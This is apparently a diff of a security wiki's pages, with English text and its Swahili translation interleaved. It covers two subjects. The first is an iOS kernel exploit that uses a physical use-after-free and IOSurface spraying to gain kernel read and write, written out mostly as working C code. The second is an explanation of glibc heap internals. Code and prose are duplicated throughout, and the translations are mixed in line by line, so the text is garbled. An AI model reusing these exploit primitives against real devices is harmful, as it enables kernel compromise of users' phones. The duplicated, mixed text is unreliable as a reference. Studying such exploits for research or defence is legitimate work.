if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Search for **`IOSurface`** objects in one freed physical page:
Tafuta **`IOSurface`** vitu katika ukurasa mmoja wa kimwili ulioachiliwa:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Kufikia Kernel Read/Write na IOSurface
### Achieving Kernel Read/Write with IOSurface
Baada ya kupata udhibiti juu ya kitu cha IOSurface katika kumbukumbu ya kernel (kilichopangwa kwa ukurasa wa kimwili ulioachwa unaoweza kufikiwa kutoka kwa nafasi ya mtumiaji), tunaweza kukitumia kwa **operesheni za kusoma na kuandika za kernel zisizo na mipaka**.
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
**Sehemu Muhimu katika IOSurface**
**Key Fields in IOSurface**
Kitu cha IOSurface kina sehemu mbili muhimu:
The IOSurface object has two crucial fields:
1. **Pointer ya Hesabu ya Matumizi**: Inaruhusu **kusoma kwa bit 32**.
2. **Pointer ya Wakati wa Kielelezo**: Inaruhusu **kuandika kwa bit 64**.
1. **Use Count Pointer**: Allows a **32-bit read**.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
Kwa kubadilisha pointers hizi, tunaelekeza kwenye anwani zisizo na mipaka katika kumbukumbu ya kernel, na kuwezesha uwezo wa kusoma/kuandika.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
#### Kernel Read ya Bit 32
#### 32-Bit Kernel Read
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
Ili kufanya kusoma:
1. Badilisha **pointer ya hesabu ya matumizi** ili kuelekeza kwenye anwani ya lengo minus offset ya byte 0x14.
2. Tumia njia ya `get_use_count` kusoma thamani katika anwani hiyo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
Ili kufanya kuandika:
1. Badilisha **kiashiria cha wakati kilichoorodheshwa** kwa anwani ya lengo.
2. Tumia njia ya `set_indexed_timestamp` kuandika thamani ya 64-bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Muhtasari wa Mchakato wa Ulaghai
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
1. **Chochea Matumizi Baada ya Kuachiliwa**: Kurasa zilizofunguliwa zinapatikana kwa matumizi tena.
2. **Sambaza Vitu vya IOSurface**: Panga vitu vingi vya IOSurface vyenye "thamani ya kichawi" ya kipekee katika kumbukumbu ya kernel.
3. **Tambua IOSurface Inayopatikana**: Pata IOSurface kwenye ukurasa ulioachiliwa ambao unadhibiti.
4. **Tumia Matumizi Baada ya Kuachiliwa**: Badilisha viashiria katika kitu cha IOSurface ili kuwezesha **kusoma/kandika** kwa hiari kwenye kumbukumbu ya kernel kupitia mbinu za IOSurface.
Kwa kutumia hizi msingi, ulaghai unatoa **kusoma 32-bit** na **kandika 64-bit** kwa kumbukumbu ya kernel. Hatua zaidi za jailbreak zinaweza kujumuisha msingi thabiti zaidi wa kusoma/kandika, ambayo inaweza kuhitaji kupita kinga za ziada (mfano, PPL kwenye vifaa vya arm64e vya kisasa).

View File

@ -1,197 +1,190 @@
# Libc Heap
## Heap Basics
## Msingi wa Heap
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
Heap ni mahali ambapo programu inaweza kuhifadhi data wakati inapoomba data kwa kuita kazi kama **`malloc`**, `calloc`... Aidha, wakati kumbukumbu hii haitahitajika tena inapatikana kwa kuita kazi **`free`**.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
Kama inavyoonyeshwa, iko tu baada ya ambapo binary inapo load kwenye kumbukumbu (angalia sehemu ya `[heap]`):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
### Usambazaji wa Msingi wa Chunk
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
Wakati data fulani inapoombwa kuhifadhiwa kwenye heap, nafasi fulani ya heap inatengwa kwa ajili yake. Nafasi hii itakuwa ya bin na data iliyohitajika + nafasi ya vichwa vya bin + offset ya ukubwa wa chini wa bin itahifadhiwa kwa chunk. Lengo ni kuhifadhi kumbukumbu kidogo iwezekanavyo bila kufanya iwe ngumu kupata ambapo kila chunk iko. Kwa hili, taarifa za metadata za chunk zinatumika kujua ambapo kila chunk inayotumika/ya bure iko.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
Kuna njia tofauti za kuhifadhi nafasi hasa kulingana na bin inayotumika, lakini mbinu ya jumla ni ifuatayo:
- The program starts by requesting certain amount of memory.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
- If everything fails, `malloc` returns null.
- Programu inaanza kwa kuomba kiasi fulani cha kumbukumbu.
- Ikiwa katika orodha ya chunks kuna mtu anapatikana mkubwa wa kutosha kutimiza ombi, itatumika
- Hii inaweza hata kumaanisha kwamba sehemu ya chunk inayopatikana itatumika kwa ombi hili na iliyobaki itaongezwa kwenye orodha ya chunks
- Ikiwa hakuna chunk inayopatikana katika orodha lakini bado kuna nafasi katika kumbukumbu ya heap iliyotengwa, meneja wa heap anaunda chunk mpya
- Ikiwa hakuna nafasi ya kutosha ya heap kutenga chunk mpya, meneja wa heap anaomba kernel kuongeza kumbukumbu iliyotengwa kwa heap na kisha kutumia kumbukumbu hii kuunda chunk mpya
- Ikiwa kila kitu kinashindwa, `malloc` inarudisha null.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
Kumbuka kwamba ikiwa **kumbukumbu iliyohitajika inapita kigezo fulani**, **`mmap`** itatumika kubaini kumbukumbu iliyohitajika.
## Arenas
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
Katika **maombi ya multithreaded**, meneja wa heap lazima kuzuia **hali za mashindano** ambazo zinaweza kusababisha ajali. Awali, hii ilifanywa kwa kutumia **mutex ya kimataifa** kuhakikisha kwamba thread moja tu inaweza kufikia heap kwa wakati mmoja, lakini hii ilisababisha **masuala ya utendaji** kutokana na kuzuiliwa kwa mutex.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
Ili kushughulikia hili, allocator wa heap ptmalloc2 ilianzisha "arenas," ambapo **kila arena** inafanya kazi kama **heap tofauti** yenye **miundo** yake **mwenyewe** na **mutex**, ikiruhusu nyuzi nyingi kufanya operesheni za heap bila kuingiliana, mradi tu wanatumia arenas tofauti.
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
Arena ya "muhimu" ya default inashughulikia operesheni za heap kwa maombi ya nyuzi moja. Wakati **nyuzi mpya** zinapoongezwa, meneja wa heap anawapa **arenas za sekondari** ili kupunguza ushindani. Kwanza inajaribu kuunganisha kila nyuzi mpya kwenye arena isiyotumika, ikiumba mpya ikiwa inahitajika, hadi kikomo cha mara 2 ya idadi ya nyuzi za CPU kwa mifumo ya 32-bit na mara 8 kwa mifumo ya 64-bit. Mara kikomo kinapofikiwa, **nyuzi lazima zishiriki arenas**, na kusababisha ushindani wa uwezekano.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
Tofauti na arena kuu, ambayo inapanuka kwa kutumia wito wa mfumo wa `brk`, arenas za sekondari zinaunda "subheaps" kwa kutumia `mmap` na `mprotect` ili kuiga tabia ya heap, ikiruhusu kubadilika katika usimamizi wa kumbukumbu kwa operesheni za multithreaded.
### Subheaps
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
Subheaps hutumikia kama akiba ya kumbukumbu kwa arenas za sekondari katika maombi ya multithreaded, ikiruhusu kukua na kusimamia maeneo yao ya heap tofauti na heap kuu. Hapa kuna jinsi subheaps zinavyotofautiana na heap ya awali na jinsi zinavyofanya kazi:
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
2. **Memory Reservation with `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
3. **Gradual Expansion with `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
1. **Heap ya Awali vs. Subheaps**:
- Heap ya awali iko moja kwa moja baada ya binary ya programu katika kumbukumbu, na inapanuka kwa kutumia wito wa mfumo wa `sbrk`.
- Subheaps, zinazotumiwa na arenas za sekondari, zinaundwa kupitia `mmap`, wito wa mfumo unaoelekeza eneo fulani la kumbukumbu.
2. **Hifadhi ya Kumbukumbu kwa kutumia `mmap`**:
- Wakati meneja wa heap anaunda subheap, anahifadhi block kubwa ya kumbukumbu kupitia `mmap`. Hifadhi hii haitoi kumbukumbu mara moja; inateua tu eneo ambalo michakato mingine ya mfumo au usambazaji haipaswi kutumia.
- Kwa kawaida, ukubwa uliotengwa kwa subheap ni 1 MB kwa michakato ya 32-bit na 64 MB kwa michakato ya 64-bit.
3. **Upanuzi wa Polepole kwa kutumia `mprotect`**:
- Eneo la kumbukumbu lililotengwa awali linapewa alama kama `PROT_NONE`, ikionyesha kwamba kernel haitahitaji kutenga kumbukumbu halisi kwa nafasi hii bado.
- Ili "kukua" subheap, meneja wa heap anatumia `mprotect` kubadilisha ruhusa za ukurasa kutoka `PROT_NONE` hadi `PROT_READ | PROT_WRITE`, ikimhimiza kernel kutenga kumbukumbu halisi kwa anwani zilizotengwa hapo awali. Njia hii ya hatua kwa hatua inaruhusu subheap kupanuka kadri inavyohitajika.
- Mara subheap yote itakapokamilika, meneja wa heap anaunda subheap mpya ili kuendelea na usambazaji.
### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
Struktura hii inatenga taarifa muhimu za heap. Aidha, kumbukumbu ya heap inaweza kuwa si ya mfululizo baada ya usambazaji zaidi, struktura hii pia itahifadhi taarifa hiyo.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
**Kila heap** (main arena au maeneo mengine ya nyuzi) ina **`malloc_state` structure.**\
Ni muhimu kutambua kwamba **main arena `malloc_state`** structure ni **kigezo cha kimataifa katika libc** (hivyo iko katika nafasi ya kumbukumbu ya libc).\
Katika kesi ya **`malloc_state`** structures za heaps za nyuzi, zinapatikana **ndani ya "heap" ya nyuzi husika**.
There some interesting things to note from this structure (see C code below):
Kuna mambo kadhaa ya kuvutia ya kuzingatia kutoka kwa muundo huu (ona msimbo wa C hapa chini):
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
- Flags:
- `__libc_lock_define (, mutex);` Ipo kuhakikisha kwamba muundo huu kutoka kwa heap unafikiwa na nyuzi 1 kwa wakati
- Bendera:
- ```c
#define NONCONTIGUOUS_BIT (2U)
- ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- `mchunkptr bins[NBINS * 2 - 2];` ina **viungo** kwa **chunks za kwanza na za mwisho** za **bins** ndogo, kubwa na zisizo na mpangilio (the -2 ni kwa sababu index 0 haitumiki)
- Kwa hivyo, **chunk ya kwanza** ya bins hizi itakuwa na **kiungo cha nyuma kwa muundo huu** na **chunk ya mwisho** ya bins hizi itakuwa na **kiungo cha mbele** kwa muundo huu. Ambayo kimsingi inamaanisha kwamba ikiwa unaweza **kuvuja anwani hizi katika main arena** utakuwa na kiungo kwa muundo katika **libc**.
- Struktura `struct malloc_state *next;` na `struct malloc_state *next_free;` ni orodha zilizounganishwa za maeneo
- Chunk ya `top` ni "chunk" ya mwisho, ambayo kimsingi ni **nafasi yote iliyobaki ya heap**. Mara chunk ya juu inapokuwa "bila", heap imetumika kabisa na inahitaji kuomba nafasi zaidi.
- Chunk ya `last reminder` inatokana na hali ambapo chunk ya ukubwa sahihi haitapatikana na kwa hivyo chunk kubwa inakatwa, sehemu ya kiungo iliyobaki inawekwa hapa.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
Muundo huu unawakilisha kipande maalum cha kumbukumbu. Nyanja mbalimbali zina maana tofauti kwa vipande vilivyotolewa na visivyotolewa.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
As commented previously, these chunks also have some metadata, very good represented in this image:
Kama ilivyotajwa hapo awali, vipande hivi pia vina metadata, ambayo inawakilishwa vizuri katika picha hii:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
Metadata kwa kawaida ni 0x08B ikionyesha ukubwa wa sasa wa kipande kwa kutumia bits 3 za mwisho kuonyesha:
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
- `P`: If 1, the previous chunk is in use
- `A`: Ikiwa 1 inatoka kwenye subheap, ikiwa 0 iko kwenye arena kuu
- `M`: Ikiwa 1, kipande hiki ni sehemu ya nafasi iliyotolewa na mmap na si sehemu ya heap
- `P`: Ikiwa 1, kipande cha awali kinatumika
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
Kisha, nafasi ya data ya mtumiaji, na hatimaye 0x08B kuonyesha ukubwa wa kipande cha awali wakati kipande kinapatikana (au kuhifadhi data ya mtumiaji wakati inatolewa).
Moreover, when available, the user data is used to contain also some data:
Zaidi ya hayo, wakati inapatikana, data ya mtumiaji inatumika pia kubeba data fulani:
- **`fd`**: Pointer to the next chunk
- **`bk`**: Pointer to the previous chunk
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
- **`fd`**: Kielekezi kwa kipande kinachofuata
- **`bk`**: Kielekezi kwa kipande cha awali
- **`fd_nextsize`**: Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kidogo kuliko yenyewe
- **`bk_nextsize`:** Kielekezi kwa kipande cha kwanza katika orodha ambacho ni kikubwa kuliko yenyewe
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
> Tambua jinsi kuunganisha orodha kwa njia hii kunazuia haja ya kuwa na array ambapo kila kipande kimoja kinarekodiwa.
### Chunk Pointers
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
### Kielekezi za Kipande
Wakati malloc inatumika, kielekezi kwa maudhui ambayo yanaweza kuandikwa kinarejeshwa (karibu baada ya vichwa), hata hivyo, wakati wa kusimamia vipande, inahitajika kielekezi kwa mwanzo wa vichwa (metadata).\
Kwa ajili ya mabadiliko haya, kazi hizi zinatumika:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Mwelekeo & ukubwa mdogo
### Alignment & min size
The pointer to the chunk and `0x0f` must be 0.
Pointer kwa chunk na `0x0f` lazima iwe 0.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
